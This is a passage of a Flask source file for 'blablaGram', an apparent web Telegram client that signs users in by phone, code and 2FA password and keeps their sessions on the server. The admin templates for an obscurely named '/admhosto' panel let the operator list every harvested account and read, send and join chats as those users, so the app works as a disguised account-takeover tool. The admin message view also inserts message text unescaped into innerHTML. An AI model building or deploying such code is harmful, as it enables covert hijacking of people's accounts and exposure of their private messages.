} |
|
|
} |
|
|
|
|
|
async function logout(switchToNew = false) { |
|
|
const confirmation = switchToNew ? true : confirm('Are you sure you want to log out? This will disconnect your Telegram account from this app.'); |
|
|
if (confirmation) { |
|
|
await fetch('/api/logout', { method: 'POST' }); |
|
|
window.location.href = '/'; |
|
|
} |
|
|
} |
|
|
|
|
|
document.getElementById('messageInput').addEventListener('keydown', (e) => { |
|
|
if (e.key === 'Enter' && !e.shiftKey) { |
|
|
e.preventDefault(); |
|
|
sendMessage(); |
|
|
} |
|
|
}); |
|
|
|
|
|
fetchChats(); |
|
|
</script> |
|
|
</body> |
|
|
</html> |
|
|
''' |
|
|
|
|
|
ADMHOSTO_TEMPLATE = ''' |
|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>blablaGram - Admin Panel</title> |
|
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet"> |
|
|
<style> |
|
|
body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; } |
|
|
.container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); } |
|
|
h1 { text-align: center; color: #007AFF; margin-bottom: 30px; font-weight: 700; font-size: 2.5em; } |
|
|
h2 { text-align: center; color: #1C1C1C; margin-bottom: 25px; font-weight: 600; font-size: 1.8em; } |
|
|
table { width: 100%; border-collapse: separate; border-spacing: 0; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } |
|
|
th, td { padding: 16px 20px; text-align: left; border-bottom: 1px solid #EFF2F5; } |
|
|
th { background: #F0F5F8; color: #55606F; font-weight: 600; font-size: 0.95em; text-transform: uppercase; } |
|
|
tr:last-child td { border-bottom: none; } |
|
|
tr:nth-child(even) { background: #FDFEFE; } |
|
|
tr:hover { background: #E6F3FC; } |
|
|
a { color: #007AFF; text-decoration: none; transition: color 0.3s ease; font-weight: 500; } |
|
|
a:hover { text-decoration: underline; } |
|
|
.back-button { margin-top: 40px; text-align: center; } |
|
|
.back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; } |
|
|
.back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); } |
|
|
@media (max-width: 768px) { |
|
|
body { padding: 15px; } |
|
|
.container { padding: 25px 20px; border-radius: 12px; } |
|
|
h1 { font-size: 2em; margin-bottom: 20px; } |
|
|
h2 { font-size: 1.5em; margin-bottom: 20px; } |
|
|
table { font-size: 0.9em; } |
|
|
th, td { padding: 12px 15px; } |
|
|
.back-button a { padding: 10px 20px; font-size: 0.9em; } |
|
|
} |
|
|
@media (max-width: 600px) { |
|
|
table, thead, tbody, th, td, tr { display: block; } |
|
|
thead tr { position: absolute; top: -9999px; left: -9999px; } |
|
|
tr { border: 1px solid #EFF2F5; margin-bottom: 15px; border-radius: 10px; overflow: hidden; } |
|
|
td { border: none; border-bottom: 1px solid #EFF2F5; position: relative; padding-left: 50%; text-align: right; } |
|
|
td:before { position: absolute; top: 0; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: #55606F; content: attr(data-label); } |
|
|
td:last-child { border-bottom: none; } |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="container"> |
|
|
<h1>blablaGram - Admin Panel</h1> |
|
|
<h2>Managed Accounts</h2> |
|
|
<table> |
|
|
<thead> |
|
|
<tr><th>ID</th><th>Telegram ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr> |
|
|
</thead> |
|
|
<tbody> |
|
|
{% for user in users %} |
|
|
<tr> |
|
|
<td data-label="ID">{{ user[0] }}</td> |
|
|
<td data-label="Telegram ID">{{ user[1] }}</td> |
|
|
<td data-label="Username">{{ user[2] }}</td> |
|
|
<td data-label="Phone">{{ user[3] }}</td> |
|
|
<td data-label="Actions"> |
|
|
<a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a> |
|
|
</td> |
|
|
</tr> |
|
|
{% endfor %} |
|
|
</tbody> |
|
|
</table> |
|
|
<div class="back-button"> |
|
|
<a href="/">Back to Login</a> |
|
|
</div> |
|
|
</div> |
|
|
</body> |
|
|
</html> |
|
|
''' |
|
|
|
|
|
ADMHOSTO_MANAGE_TEMPLATE = ''' |
|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>Manage: {{ user.username or user.phone }}</title> |
|
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet"> |
|
|
<style> |
|
|
body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; } |
|
|
.container { max-width: 1200px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); } |
|
|
h1 { text-align: center; color: #007AFF; margin-bottom: 25px; font-weight: 700; font-size: 2.5em; } |
|
|
.user-info { text-align: center; margin-bottom: 30px; font-size: 1.05em; color: #66707B; font-weight: 500; line-height: 1.6; } |
|
|
.split-panel { display: flex; gap: 25px; margin-top: 30px; } |
|
|
.split-panel > div { flex: 1; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); } |
|
|
h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; margin-bottom: 20px; border-bottom: 1px solid #E0E6EB; padding-bottom: 10px; } |
|
|
input[type="text"], textarea { width: calc(100% - 28px); padding: 13px 15px; margin: 10px 0; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFFFFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; } |
|
|
input[type="text"]:focus, textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; } |
|
|
textarea { resize: vertical; min-height: 90px; } |
|
|
button { background: #007AFF; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: 600; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 2px 8px rgba(0,122,255,0.2); } |
|
|
button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); } |
|
|
button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); } |
|
|
.chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; } |
|
|
.chat-item { padding: 14px 20px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background 0.2s ease; } |
|
|
.chat-item:hover, .chat-item.active { background: #E6F3FC; } |
|
|
.chat-item:last-child { border-bottom: none; } |
|
|
.chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; } |
|
|
.chat-item p { margin: 5px 0 0; font-size: 0.88em; color: #66707B; } |
|
|
.message-viewer { margin-top: 30px; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); } |
|
|
.messages-container { max-height: 550px; overflow-y: auto; padding: 15px; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; } |
|
|
.load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; } |
|
|
.load-more-btn:hover { background: #006ACD; } |
|
|
|
|
|
.message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); } |
|
|
.message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; } |
|
|
.message-item.received { background: #F0F0F0; align-self: flex-start; border-bottom-left-radius: 6px; } |
|
|
.message-sender { font-weight: 600; color: #007AFF; margin-bottom: 4px; display: block; font-size: 0.85em; } |
|
|
.message-text { color: #111; word-break: break-word; } |
|
|
.message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; } |
|
|
.media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; } |
|
|
.media-link { display: block; margin-top: 5px; color: #007AFF; text-decoration: none; font-size: 0.85em; } |
|
|
.media-link:hover { text-decoration: underline; } |
|
|
.back-button { margin-top: 40px; text-align: center; } |
|
|
.back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; } |
|
|
.back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); } |
|
|
.clear-chat-selection { text-align: center; margin-top: 15px; } |
|
|
.clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 0.95em; } |
|
|
.clear-chat-selection button:hover { background: #5A6268; } |
|
|
.send-file-btn { background: #28A745; margin-top: 10px; } |
|
|
.send-file-btn:hover { background: #218838; } |
|
|
|
|
|
@media (max-width: 768px) { |
|
|
.split-panel { flex-direction: column; gap: 20px; } |
|
|
.split-panel > div { padding: 20px; border-radius: 10px; } |
|
|
h2 { font-size: 1.25em; padding-bottom: 8px; } |
|
|
input[type="text"], textarea { padding: 12px; font-size: 0.9em; } |
|
|
button { padding: 12px 20px; font-size: 0.95em; margin-top: 15px; } |
|
|
.chat-list { max-height: 300px; } |
|
|
.message-viewer { padding: 20px; margin-top: 20px; border-radius: 10px; } |
|
|
.messages-container { max-height: 400px; } |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="container"> |
|
|
<h1>Manage Account: {{ user.username or user.phone }}</h1> |
|
|
<div class="user-info">ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div> |
|
|
|
|
|
<div class="split-panel"> |
|
|
<div class="action-panel"> |
|
|
<h2>Send Message</h2> |
|
|
<input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)"> |
|
|
<textarea id="sendMessageContent" rows="4" placeholder="Message content or caption"></textarea> |
|
|
<button onclick="sendMessage({{ user.id }})">Send Text Message</button> |
|
|
<input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})"> |
|
|
<button onclick="document.getElementById('sendFileInput').click()" class="send-file-btn">Send File</button> |
|
|
|
|
|
<h2 style="margin-top: 30px;">Join Chat</h2> |
|
|
<input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username"> |
|
|
<button onclick="joinChat({{ user.id }})">Join Chat</button> |
|
|
</div> |
|
|
|
|
|
<div class="chat-list-panel"> |
|
|
<h2>Chats</h2> |
|
|
<div class="chat-list" id="chatList"> |
|
|
{% for chat in chats %} |
|
|
<div class="chat-item" data-id="{{ chat.id }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}')"> |
|
|
<h3>{{ chat.title }}</h3> |
|
|
<p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p> |
|
|
</div> |
|
|
{% else %} |
|
|
<p style="padding: 15px; text-align: center; color: #777;">No chats found.</p> |
|
|
{% endfor %} |
|
|
</div> |
|
|
<div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="message-viewer" id="messageViewer" style="display:none;"> |
|
|
<h2 id="messagesChatTitle"></h2> |
|
|
<div class="messages-container" id="messagesContainer"> |
|
|
<button class="load-more-btn" id="admLoadMoreMessagesBtn" style="display:none;">Load More Messages</button> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div> |
|
|
</div> |
|
|
<script> |
|
|
let currentAdminChatId = null; |
|
|
let currentAdminNextOffsetId = null; |
|
|
const ADMIN_MESSAGES_LIMIT = 30; |
|
|
|
|
|
function clearChatSelection() { |
|
|
document.getElementById('messageViewer').style.display = 'none'; |
|
|
document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active')); |
|
|
currentAdminChatId = null; |
|
|
currentAdminNextOffsetId = null; |
|
|
} |
|
|
|
|
|
async function selectChat(userId, chatId, chatTitle) { |
|
|
currentAdminChatId = chatId; |
|
|
currentAdminNextOffsetId = null; |
|
|
|
|
|
document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active')); |
|
|
document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active'); |
|
|
|
|
|
document.getElementById('messageViewer').style.display = 'block'; |
|
|
document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`; |
|
|
document.getElementById('messagesContainer').innerHTML = ''; |
|
|
document.getElementById('admLoadMoreMessagesBtn').style.display = 'none'; |
|
|
|
|
|
await fetchAdminMessages(userId, chatId); |
|
|
} |
|
|
|
|
|
async function fetchAdminMessages(userId, chatId, offsetId = null) { |
|
|
const messagesContainer = document.getElementById('messagesContainer'); |
|
|
const loadMoreBtn = document.getElementById('admLoadMoreMessagesBtn'); |
|
|
|
|
|
if (!offsetId) { |
|
|
messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>'; |
|
|
loadMoreBtn.style.display = 'none'; |
|
|
} else { |
|
|
loadMoreBtn.textContent = 'Loading...'; |
|
|
loadMoreBtn.disabled = true; |
|
|
} |
|
|
|
|
|
const url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${ADMIN_MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`; |
|
|
const response = await fetch(url); |
|
|
const result = await response.json(); |
|
|
|
|
|
if (!offsetId) { |
|
|
messagesContainer.innerHTML = ''; |
|
|
} |
|
|
|
|
|
if (result.success && result.messages) { |
|
|
result.messages.reverse().forEach(msg => { |
|
|
const messageItem = document.createElement('div'); |
|
|
messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`; |
|
|
let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : ''; |
|
|
let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : ''; |
|
|
let mediaHtml = ''; |
|
|
|
|
|
if (msg.file_name) { |
|
|
const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`; |
|
|
if (msg.is_image) { |
|
|
mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`; |
|
|
} else { |
|
|
mediaHtml = downloadLink; |
|
|
} |
|
|
} |
|
|
let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''; |
|
|
let metaHtml = `<div class="message-meta">${msg.date}</div>`; |
|
|
|
|
|
messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`; |
|
|
messagesContainer.prepend(messageItem); |
|
|
}); |
|
|
|
|
|
currentAdminNextOffsetId = result.next_offset_id; |
|
|
if (currentAdminNextOffsetId) { |
|
|
loadMoreBtn.style.display = 'block'; |
|
|
loadMoreBtn.textContent = 'Load More Messages'; |
|
|
loadMoreBtn.disabled = false; |
|
|
} else { |
|
|
loadMoreBtn.style.display = 'none'; |
|
|
} |
|
|
|
|
|
if (!offsetId) { |
|
|
messagesContainer.scrollTop = messagesContainer.scrollHeight; |
|
|
} |
|
|
} else { |
|
|
if (!offsetId) { |
|
|
messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`; |
|
|
} else { |
|
|
messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML; |
|
|
loadMoreBtn.style.display = 'none'; |
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
document.getElementById('admLoadMoreMessagesBtn').addEventListener('click', () => { |
|
|
if (currentAdminChatId && currentAdminNextOffsetId) { |
|
|
fetchAdminMessages({{ user.id }}, currentAdminChatId, currentAdminNextOffsetId); |
|
|
} |
|
|
}); |
|
|
|
|
|
async function sendMessage(userId) { |
|
|
const chatId = document.getElementById('sendMessageRecipient').value; |
|
|
const message = document.getElementById('sendMessageContent').value; |
|
|
if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; } |
|
|
|
|
|
const response = await fetch(`/admhosto/send_message/${userId}`, { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ chat_id: chatId, message }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
alert(result.message); |
|
|
if (result.success && currentAdminChatId == chatId) { |
|
|
currentAdminNextOffsetId = null; |
|
|
await fetchAdminMessages(userId, currentAdminChatId); |
|
|
} else if (result.success) { |
|
|
document.getElementById('sendMessageRecipient').value = ''; |
|
|
document.getElementById('sendMessageContent').value = ''; |
|
|
} |
|
|
} |
|
|
|
|
|
async function handleFileSelect(userId) { |
|
|
const fileInput = document.getElementById('sendFileInput'); |
|
|
if (fileInput.files.length === 0) return; |
|
|
|
|
|
const file = fileInput.files[0]; |
|
|
const chatId = document.getElementById('sendMessageRecipient').value; |
|
|
const caption = document.getElementById('sendMessageContent').value; |
|
|
|
|
|
if (!chatId) { alert('Recipient is required to send a file.'); return; } |
|
|
|
|
|
const formData = new FormData(); |
|
|
formData.append('chat_id', chatId); |
|
|
formData.append('file', file); |
|
|
formData.append('caption', caption); |
|
|
|
|
|
document.getElementById('sendMessageRecipient').value = ''; |
|
|
document.getElementById('sendMessageContent').value = ''; |
|
|
fileInput.value = ''; |
|
|
|
|
|
const response = await fetch(`/admhosto/send_file/${userId}`, { |
|
|
method: 'POST', |
|
|
body: formData |
|
|
}); |
|
|
const result = await response.json(); |
|
|
alert(result.message); |
|
|
if (result.success && currentAdminChatId == chatId) { |
|
|
currentAdminNextOffsetId = null; |
|
|
await fetchAdminMessages(userId, currentAdminChatId); |
|
|
} |
|
|
} |
|
|
|
|
|
async function joinChat(userId) { |
|
|
const chatIdentifier = document.getElementById('joinChatIdentifier').value; |
|
|
if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; } |
|
|
const response = await fetch(`/admhosto/join_chat/${userId}`, { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ chat_identifier: chatIdentifier }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
alert(result.message); |
|
|
if (result.success) { location.reload(); } |
|
|
} |
|
|
</script> |
|
|
</body> |
|
|
</html> |
|
|
''' |
|
|
|
|
|
@app.route('/') |
|
|
def index(): |
|
|
if 'user_id' in session: |
|
|
return redirect(url_for('blabla_gram_app')) |
|
|
return render_template_string(LOGIN_TEMPLATE) |
|
|
|
|
|
@app.route('/api/login', methods=['POST']) |
|
|
def api_login(): |
|
|
data = request.json |
|
|
phone = data.get('phone') |
|
|
step = data.get('step') |
|
|
|
|
|
if not phone: |
|
|
return jsonify({'success': False, 'message': 'Phone number is required.'}) |
|
|
|
|
|
session_hash = hashlib.md5(phone.encode()).hexdigest() |
|
|
session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session") |
|
|
|
|
|
session['current_login_phone'] = phone |
|
|
session['current_login_session_file'] = session_file_path |
|
|
|
|
|
async def _login_async(): |
|
|
client = TelegramClient(session['current_login_session_file'], API_ID, API_HASH) |
|
|
result = {} |
|
|
try: |
|
|
await client.connect() |
|
|
if step == 'start': |
|
|
if await client.is_user_authorized(): |
|
|
me = await client.get_me() |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
c = conn.cursor() |
|
|
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', |
|
|
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file'])) |
|
|
conn.commit() |
|
|
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0] |
|
|
session['user_id'] = user_db_id |
|
|
result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id} |
|
|
else: |
|
|
sent_code = await client.send_code_request(session['current_login_phone']) |
|
|
session['phone_code_hash'] = sent_code.phone_code_hash |
|
|
result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash} |
|
|
elif step == 'code': |
|
|
code = data.get('code') |
|
|
phone_code_hash = session.get('phone_code_hash') |
|
|
if not phone_code_hash: |
|
|
raise ValueError('Session expired, please try again.') |
|
|
|
|
|
try: |
|
|
me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash) |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
c = conn.cursor() |
|
|
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', |
|
|
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file'])) |
|
|
conn.commit() |
|
|
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0] |
|
|
session['user_id'] = user_db_id |
|
|
result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id} |
|
|
except SessionPasswordNeededError: |
|
|
result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'} |
|
|
except FloodWaitError as e: |
|
|
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
result = {'success': False, 'message': f'Invalid code or other error: {e}'} |
|
|
|
|
|
elif step == 'password': |
|
|
password = data.get('password') |
|
|
try: |
|
|
me = await client.sign_in(password=password) |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
c = conn.cursor() |
|
|
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', |
|
|
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file'])) |
|
|
conn.commit() |
|
|
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0] |
|
|
session['user_id'] = user_db_id |
|
|
result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id} |
|
|
except FloodWaitError as e: |
|
|
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
result = {'success': False, 'message': f'Invalid password or other error: {e}'} |
|
|
|
|
|
else: |
|
|
result = {'success': False, 'message': 'Invalid step.'} |
|
|
except FloodWaitError as e: |
|
|
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'} |
|
|
finally: |
|
|
if client.is_connected(): |
|
|
await client.disconnect() |
|
|
return result |
|
|
|
|
|
return jsonify(asyncio.run(_login_async())) |
|
|
|
|
|
@app.route('/api/logout', methods=['POST']) |
|
|
def api_logout(): |
|
|
user_id = session.get('user_id') |
|
|
if user_id: |
|
|
async def _logout_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return |
|
|
try: |
|
|
if client and client.is_connected(): |
|
|
await client.log_out() |
|
|
except Exception: |
|
|
pass |
|
|
finally: |
|
|
if client and client.is_connected(): |
|
|
await client.disconnect() |
|
|
asyncio.run(_logout_async()) |
|
|
|
|
|
session.clear() |
|
|
return jsonify({'success': True, 'message': 'Logged out successfully.'}) |
|
|
|
|
|
@app.route('/app') |
|
|
def blabla_gram_app(): |
|
|
if 'user_id' not in session: |
|
|
return redirect(url_for('index')) |
|
|
return render_template_string(BLABLAGRAM_APP_TEMPLATE) |
|
|
|
|
|
@app.route('/api/user_chats') |
|
|
def api_user_chats(): |
|
|
user_id = session.get('user_id') |
|
|
if not user_id: |
|
|
return jsonify({'success': False, 'message': 'User not logged in.'}), 401 |
|
|
|
|
|
async def _get_chats_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return None, error |
|
|
|
|
|
chats_info = [] |
|
|
try: |
|
|
async for dialog in client.iter_dialogs(): |
|
|
title = dialog.title |
|
|
chat_type = 'User' |
|
|
participants = None |
|
|
|
|
|
if isinstance(dialog.entity, User): |
|
|
chat_type = 'User' |
|
|
full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() |
|
|
title = full_name if full_name else "Unnamed User" |
|
|
if dialog.entity.username: |
|
|
title += f" (@{dialog.entity.username})" |
|
|
elif isinstance(dialog.entity, Channel): |
|
|
chat_type = 'Channel' |
|
|
if hasattr(dialog.entity, 'participants_count'): |
|
|
participants = dialog.entity.participants_count |
|
|
elif isinstance(dialog.entity, Chat): |
|
|
chat_type = 'Group' |
|
|
if hasattr(dialog.entity, 'participants_count'): |
|
|
participants = dialog.entity.participants_count |
|
|
else: |
|
|
title = title if title else "Unknown Chat" |
|
|
chat_type = "Unknown" |
|
|
|
|
|
initial = title[0].upper() if title else '?' |
|
|
|
|
|
chats_info.append({ |
|
|
'id': dialog.id, |
|
|
'title': title, |
|
|
'type': chat_type, |
|
|
'participants': participants, |
|
|
'avatar_initial': initial |
|
|
}) |
|
|
except Exception as e: |
|
|
return None, str(e) |
|
|
finally: |
|
|
if client and client.is_connected(): |
|
|
await client.disconnect() |
|
|
return chats_info, None |
|
|
|
|
|
chats, error = asyncio.run(_get_chats_async()) |
|
|
if error: |
|
|
return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500 |
|
|
|
|
|
return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])}) |
|
|
|
|
|
@app.route('/api/chat_messages/<int:peer_id>') |
|
|
def api_get_chat_messages(peer_id): |
|
|
user_id = session.get('user_id') |
|
|
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 |
|
|
|
|
|
limit = int(request.args.get('limit', 30)) |
|
|
offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0 |
|
|
|
|
|
async def _get_messages_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return None, None, error |
|
|
|
|
|
messages = [] |
|
|
next_offset_id = None |
|
|
try: |
|
|
entity = await client.get_entity(peer_id) |
|
|
fetched_messages = [] |
|
|
async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False): |
|
|
fetched_messages.append(message) |
|
|
|
|
|
if len(fetched_messages) == limit: |
|
|
next_offset_id = fetched_messages[-1].id |
|
|
|
|
|
for message in fetched_messages: |
|
|
msg_data = { |
|
|
'text': message.text, |
|
|
'date': message.date.strftime("%b %d, %H:%M"), |
|
|
'is_sent': message.out, |
|
|
'sender_name': 'Unknown', |
|
|
'file_name': None, |
|
|
'file_size': None, |
|
|
'is_image': False |
|
|
} |
|
|
if message.sender: |
|
|
if isinstance(message.sender, User): |
|
|
msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User" |
|
|
elif hasattr(message.sender, 'title'): |
|
|
msg_data['sender_name'] = message.sender.title |
|
|
else: |
|
|
msg_data['sender_name'] = str(message.sender.id) |
|
|
|
|
|
if message.media: |
|
|
try: |
|
|
temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}" |
|
|
file_ext = '' |
|
|
if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'): |
|
|
for attr in message.media.document.attributes: |
|
|
if hasattr(attr, 'file_name'): |
|
|
file_name = attr.file_name |
|
|
file_ext = Path(file_name).suffix.lower() |
|
|
break |
|
|
elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'): |
|
|
file_name = f"photo_{message.media.photo.id}.jpg" |
|
|
file_ext = '.jpg' |
|
|
|
|
|
if not file_name: |
|
|
file_name = f"{temp_file_name_prefix}.unknown" |
|
|
if hasattr(message.media, 'mime_type') and message.media.mime_type: |
|
|
file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}" |
|
|
|
|
|
full_download_path = Path(DOWNLOAD_DIR) / file_name |
|
|
file_info = await client.download_media(message, file=full_download_path) |
|
|
|
|
|
if file_info: |
|
|
file_path_obj = Path(file_info) |
|
|
msg_data['file_name'] = file_path_obj.name |
|
|
|
|
|
detected_img_type = imghdr.what(file_path_obj) |
|
|
if detected_img_type: |
|
|
msg_data['is_image'] = True |
|
|
|
|
|
file_size = os.path.getsize(file_path_obj) |
|
|
msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes" |
|
|
except Exception as media_e: |
|
|
msg_data['file_name'] = f"Download failed: {media_e}" |
|
|
messages.append(msg_data) |
|
|
except Exception as e: |
|
|
return None, None, str(e) |
|
|
finally: |
|
|
if client and client.is_connected(): |
|
|
await client.disconnect() |
|
|
return messages, next_offset_id, None |
|
|
|
|
|
messages, next_offset_id, error = asyncio.run(_get_messages_async()) |
|
|
if error: |
|
|
return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500 |
|
|
|
|
|
return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id}) |
|
|
|
|
|
@app.route('/api/send_message', methods=['POST']) |
|
|
def api_send_message(): |
|
|
user_id = session.get('user_id') |
|
|
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 |
|
|
